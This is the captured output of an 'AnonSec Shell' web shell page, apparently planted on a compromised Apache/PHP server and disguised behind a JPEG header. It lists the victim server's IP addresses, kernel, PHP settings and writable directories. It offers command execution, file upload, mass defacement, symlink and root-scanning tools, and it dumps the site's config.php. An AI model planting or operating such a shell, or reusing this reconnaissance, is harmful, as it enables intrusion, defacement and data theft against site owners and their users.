JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.44.28   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/sapere/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/sapere/config/config.php
<?php

/**
 * Define debug
 */
error_reporting(E_ALL );
ini_set('display_errors', '30711');

// Assicurati che questi header siano presenti nel tuo file PHP
// header("Access-Control-Allow-Origin: *"); // oppure specifica il dominio
// header("Access-Control-Allow-Methods: *");
// header("Access-Control-Allow-Headers: Content-Type, Authorization");
// header("Access-Control-Allow-Credentials: true");

// if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
//     // Gestisci correttamente le richieste OPTIONS
//     header("Access-Control-Allow-Origin: *");
//     header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
//     header("Access-Control-Allow-Headers: Content-Type, Authorization");
//     header("Access-Control-Allow-Credentials: true");
//     exit(0);
// }

// Gestione delle richieste OPTIONS (preflight request)
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    //header("HTTP/1.1 200 OK");
    http_response_code(200);
    exit();
}

//ini_set("error_reporting", '30711');//"30711");
/**
 * suppress warnings from php 5.3+
 */

if (defined('E_DEPRECATED')) {
    $err = error_reporting();
    $err &= ~E_DEPRECATED & ~E_NOTICE & ~E_WARNING & ~E_USER_DEPRECATED;
    error_reporting($err);
}

/**
 * 
 * File application directory
 * 
 */

/*
fine anche login
*/
include "config-alt.php";

/*
fine anche login
*/


require 'vendor/autoload.php';
define("AWS_SUPPRESS_PHP_DEPRECATION_WARNING", true);

include_once 'helpers/dblink.php';
include_once 'helpers/content.php';
include_once 'helpers/ocuser.php';
include_once 'helpers/emailmessage.php';
include_once 'helpers/util.php';
include_once 'url.php';
include_once 'api.class.php';
include_once 'router.php';



function GetServerUrl(){
    $url = sprintf('%s://%s',
        (isset($_SERVER['HTTPS']) && $_SERVER['SERVER_PORT'] && $_SERVER['SERVER_PORT']==443)? 'https' : 'http',
        $_SERVER['SERVER_NAME']
    );
    return $url;
}

function GetCurrentURL(){
    return $_SERVER["REQUEST_URI"];
}

function AssertUserIsLoggedIn($loginlink = '/login.php'){
    require_once 'app/helpers/persistant.php';
    $currenturl = GetCurrentURL();
    if ($currenturl && $currenturl != '/')
        $loginlink .= "?redirect=".urlencode($currenturl);
    if (!Persistant::IsloggedIn())
    {
        header("Location: $loginlink");
        die();
    }
    
}
?>

Anon7 - 2022
AnonSec Team